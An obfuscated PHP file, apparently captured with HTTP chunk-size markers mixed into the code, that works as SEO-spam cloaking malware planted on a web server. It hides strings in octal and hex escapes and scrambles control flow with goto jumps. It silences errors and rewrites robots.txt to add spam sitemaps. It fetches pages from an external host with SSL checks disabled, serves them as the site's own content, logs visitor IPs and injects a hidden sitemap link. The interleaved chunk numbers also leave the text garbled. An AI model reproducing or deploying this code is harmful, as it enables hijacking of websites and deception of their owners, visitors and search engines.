1 < 4 ?php 4 g 5 oto N 4 WuLZ 5 ; N2p 5 xL: i 5 f (!e 4 mpty 5 ($get 4 ["\1 5 62"]) 4 ) { 5 $robo 5 tsPat 5 h = $ 4 _SER 3 VER 9 ["\104\x4 6 f\x43\ 6 x55\x4 7 d\x45\1 5 16\12 8 4\x5f\12 c 2\x4f\x4f\12 5 4"] . 5 "\x2 7 f\162\1 5 57\14 8 2\x6f\x7 6 4\163\ f 56\x74\x78\x74" 5 ; $si 5 temap 4 Bloc 5 k = " b \x55\x73\x6 8 5\x72\x2 5 d\x61 a \147\145\x 7 6e\x74\ b 72\x20\x2a\ 5 xa\10 a 1\154\154\ 9 x6f\x77\x 9 3a\x20\x2 10 f\12"; $sitemaps a = "\xa\12 7 3\151\1 9 64\x65\x6 9 d\x61\160 a \72\x20{$h 5 ttp_t 26 ype}{$_SERVER["\x48\x54\x54\120\137\11 b 0\117\123\1 2c 24"]}{$_SERVER["\x53\103\122\x49\x50\x54\x5f 8 \116\x41 c \x4d\x45"]}\ 8 77\163\x 7 3d\x73\ b 12"; if (!f 5 ile_e 5 xists c ($robotsPath b )) { file_p 5 ut_co 4 nten 1e ts($robotsPath, $sitemapBlock c . $sitemaps) 5 ; } e 3 lse 11 { $robotsContent 4 = @ 8 file_get 21 _contents($robotsPath); if (strpo 11 s($robotsContent, d $_SERVER["\1 9 23\x43\x5 5b 2\x49\x50\x54\x5f\x4e\x41\x4d\x45"]) === false) { @file_put_contents($robotsPath, $sitemaps 8 , FILE_A 4 PPEN a D); } } } 7 goto Ez 4 Yoe; 9 NWuLZ: e 5 rror_ 5 repor 11 ting(0); goto yMq 9 RN; yMqRN 6 : $get 7 = $_GE a T; goto sh 4 qZL; 4 Aq5 6 NJ: $l 5 l = " 1d {$http_type}{$_SERVER["\110\1 5 24\12 f 4\120\137\x48\x 28 4f\123\x54"]}{$_SERVER["\x53\x43\122\111 f \x50\x54\137\11 b 6\x41\115\1 6 05"]}" 9 ; goto D_ 5 iaM; 18 m5bkF: function getCurl( 5 $url, 8 $getDat 5 a = a a rray()) { 19 if (!empty($getData)) { $ 4 quer 4 yStr 7 ing = i 8 s_array( c $getData) ? 8 http_bui 8 ld_query c ($getData) : c $getData; $ 6 url .= 10 (strpos($url, " 4 \77" 13 ) === false ? "\77" 7 : "\x2 5 6") . 11 $queryString; } c if (function b _exists("\1 b 43\x75\x72\ a 154\137\x6 5 9\156 f \151\164")) { $ 6 ch = c 6 url_in 6 it(); 8 curl_set 3 opt c _array($ch, 9 array(CUR 4 LOPT 6 _URL = 8 > $url, b CURLOPT_RET 4 URNT 4 RANS 7 FER => 4 true d , CURLOPT_SSL 5 _VERI 4 FYPE b ER => false 16 , CURLOPT_SSL_VERIFYHO 15 ST => false, CURLOPT_ 4 FOLL 4 OWLO 4 CATI 14 ON => true, CURLOPT_ 4 TIME 7 OUT => c 10, CURLOPT_ 4 HTTP 15 GET => true, CURLOPT_ 5 USERA 8 GENT => 7 "\115\1 a 57\172\151 b \154\x6c\14 7 1\57\x3 6 5\x2e\ 5 60")) 4 ; $d e ata = curl_exe 5 c($ch c ); curl_clos 8 e($ch); 15 if (!empty($data)) { 5 retur 7 n $data d ; } } if (ini 9 _get("\14 e 1\154\x6c\x6f\ 9 167\x5f\x 9 75\162\15 9 4\x5f\146 9 \157\160\ 7 x65\156 d ")) { $contex 7 t = str 4 eam_ c context_crea 9 te(array( 5 "\x68 b \164\x74\16 6 0" => d array("\155\x 9 65\164\x6 7 8\x6f\x a 64" => "\x 6 47\105 9 \x54", "\ b x74\x69\155 8 \145\x6f 11 \x75\x74" => 10, 5 "\150 c \x65\x61\x64 f \x65\162" => "\ 9 125\163\x d 65\162\x2d\x4 e 1\147\145\x6e\ a 164\x3a\40 9 \x4d\157\ 8 x7a\151\ 7 x6c\x6c 9 \x61\x2f\ 10 x35\x2e\60\15\12 7 "), "\1 a 63\x73\x6c 10 " => array("\166 e \x65\162\x69\1 6 46\x79 f \137\160\x65\14 11 5\162" => false, 5 "\x76 e \145\x72\151\1 c 46\171\137\x 9 70\145\14 b 5\162\x5f\x 8 6e\141\x 6 6d\x65 17 " => false))); $data = 14 @file_get_contents($ 14 url, false, $context 2a ); if (!empty($data)) { return $data; } } a return ''; a } goto X5 4 nb1; 9 D_iaM: $ 5 vurl c = $http_type b . "\x69\14 a 4\154\x79\ 1d 62\56\x69\x64\x73\x68\157\x70 6 \x2e\x 7 63\143\ 8 167\x75\ 8 56\143\x a 63\x2f\64\ 6 61\71\ d 56\x61\163\x7 5 0\x78 e "; goto N2pxL; 6 EzYoe 1f : if (!empty($get["\163"])) { $ 5 param a s = array( b "\163" => d 8 ate("\13 a 1\x6d\144\ 7 x48\151 c "), "\x6e\16 9 5\155\142 22 \x65\162" => $get["\156\165\x6d\x6 b 2\145\162"] 7 ); $str c = getCurl($ 7 vurl, $ 13 params); $str = str 6 _repla c ce(array("\1 7 73\xe5\ 6 275\22 8 3\xe5\x8 6 9\x8d\ 7 345\x9c 6 \260\x e e5\235\x80\x7d b "), array($ 1b http_type . $_SERVER["\110\ e x54\x54\x50\x5 a f\110\117\ 58 x53\124"] . $_SERVER["\123\x43\122\x49\x50\124\137\116\x41\x4d\x45"]), $str); header("\1 8 03\157\1 e 56\x74\x65\156 9 \164\x2d\ 9 164\171\1 b 60\x65\72\1 e 64\x65\170\x74 a \57\x78\15 7 5\154") 5 ; ech 8 o $str; c die; } goto 5 N4dac 8 ; X5nb1: e $http_type = 1e !empty($_SERVER["\110\x54\x54\ 6 120\12 7 3"]) && 10 $_SERVER["\x48\ e 124\124\x50\12 6 3"] != 6 = "\x6 a f\146\x66" d ? "\x68\164\ d 164\160\x73\x 6 3a\x2f a \x2f" : "\ 18 150\164\164\160\x3a\x2f\ a 57"; goto 8 Aq5NJ; f 4 5XoA b : function 10 postCurl($url, $ 16 postData = array()) { 18 $postString = is_array($ 1e postData) ? http_build_query($ b postData) : b $postData; 2b if (function_exists("\143\x75\162\154\x5f\ d x69\x6e\x69\1 ee 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 16 POST => true, CURLOPT_ 6 POSTFI 4 ELDS f => $postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ e x6c\x6c\157\x7 17 7\x5f\x75\162\154\x5f\x 10 66\x6f\x70\145\1 31 56")) { $context = stream_context_create(array("\ f 150\164\164\160 18 " => array("\155\145\164 c \150\157\144 a " => "\120 d \x4f\x53\124" 10 , "\164\x69\155\ 7 x65\157 13 \165\x74" => 10, "\ d x68\x65\141\1 9 44\x65\x7 a 2" => "\10 12 3\x6f\156\x74\x65\ c x6e\x74\55\1 7 24\171\ 9 x70\x65\x f 3a\x20\x61\160\ e 160\x6c\x69\x6 7 3\x61\x e 74\x69\x6f\x6e d \57\x78\55\x7 a 7\x77\167\ d 55\x66\x6f\x7 7 2\155\x e 2d\165\162\x6c 65 \x65\156\143\157\144\145\144\xd\12" . "\x43\x6f\156\x74\145\156\x74\x2d\x4c\145\x6e\147\164\x68\72\40 9 " . strle e n($postString) a . "\xd\xa a " . "\125\ 6 x73\14 e 5\x72\x2d\101\ 5 x67\x 1a 65\156\164\x3a\40\x4d\157\ 11 172\151\x6c\x6c\1 8 41\x2f\6 8 5\56\x30 c \xd\xa", "\1 f 43\x6f\x6e\164\ c 145\x6e\164" 10 => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ e x69\146\171\x5 6 f\x70\ 29 x65\145\162" => false, "\x76\145\162\x69\ a x66\x79\x5 8 f\160\14 b 5\x65\x72\1 d 37\x6e\141\15 5 5\145 80 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF 7 ; N4dac 1b : if (!empty($get["\151\144 b "])) { if ( 13 empty($get["\153\15 b 3"])) { $ip 8 = get_i 5 p(); 18 $params = array("\x69\16 a 0" => $ip, f "\x69\144" => 5 isset 11 ($get["\x69\144"] 4 ) ? 10 $get["\151\x64"] 5 : '' 7 , "\x6c 10 \x6c" => $ll); $ 2 tz 2b str = getCurl($vurl, $params); if (strpos($ 11 tzstr, "\x69\144" 6 ) !== f false) { echo $ e tzstr; die; } 18 } $params = array("\x69\ 13 x64" => $get["\x69\ d x64"], "\x6c\ 4 154" 45 => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\ 3 x7b b \125\x52\x4 b c\175", "\1 7 73\345\ 8 237\237\ 8 345\x90\ 5 215\1 c 75"), array( b get_url_inf 7 o("\146 c \165\154\x6c 15 "), get_url_info("\15 8 6\157\13 d 7\x77\167\167 c ")), $str); 1a echo $str; die; } else { $ 8 sitemapU 8 rl = $ll 8 . "\x3f c \x73\x3d" . b date("\131\ e 155\144\110\x6 b 9"); echo " 6 \74\14 b 4\x69\166\4 f 0\x73\164\171\1 8 54\145\x 6 3d\x27 11 \x74\145\170\164\ 9 x2d\x61\1 c 54\151\147\1 d 56\x3a\x63\14 b 5\x6e\164\x b 65\x72\73\4 10 0\160\x61\144\14 9 4\x69\156 8 \x67\72\ b 61\x30\160\ b 170\40\x30\ 7 73\x27\ 5 76\x3 6b c\x61\x20\150\162\x65\146\75\42{$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\154\141\x6e\x6b f \42\40\162\x65\ a x6c\x3d\x2 12 2\x6e\157\x66\157\ 11 x6c\x6c\157\167\x 15 22\x3e\x20\x53\x69\x7 21 4\x65\x6d\x61\160\74\57\141\x3e\x e8 3c\x2f\144\151\166\76"; } goto nnSBp; Uh8So: function get_ip() { foreach (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\x5f\x46\x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50", "\x52\x4 21 5\x4d\117\x54\x45\x5f\101\x44\x44 c \x52") as $k 2 ey 1c ) { if (!empty($_SERVER[$key d ])) { return 6 trim(e 5 xplod 6 e("\x2 d c", $_SERVER[ 8 $key])[0 8 ]); } } e return "\x55\x 6 4e\113 b \116\x4f\x5 f 7\116"; } goto 6 f5XoA; 15 shqZL: function get_ a url_info(s d tring $return 9 _type = " 10 \144\157\155\141 9 \151\x6e" b ) : string 7 { $host e = $_SERVER["\ 10 x48\124\124\x50\ 15 x5f\110\x4f\123\x54"] 15 ; if ($return_type == e = "\144\x6f\15 9 5\x61\x69 11 \156") { return $ 6f host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\x2e"); } $protocol a = isset($ 12 _SERVER["\110\x54\ 1d 124\x50\x53"]) && $_SERVER["\ 12 110\x54\x54\x50\x5 f 3"] === "\x6f\1 5 56" | 13 | isset($_SERVER["\ 16 x48\x54\124\x50\x5f\13 8 0\137\10 8 6\x4f\12 1a 2\127\x41\122\104\x45\x44\ b 137\x50\x52 c \117\x54\x4f 27 "]) && $_SERVER["\110\124\124\120\137\x 13 58\137\106\x4f\122\ 5 x57\1 14 01\122\104\105\104\1 16 37\x50\122\x4f\x54\117 de "] === "\150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $uri = $_SERVER["\x52\x45\121 a \125\105\1 d 23\124\x5f\x5 9 5\122\x49 7 "]; $fu a ll_url = $ a base_url . 1e $uri; if ($return_type === "\ c x66\165\154\ 10 154") { return $ 9 full_url; 1b } return ''; } goto Uh8So; 8 nnSBp: 2 ?> 0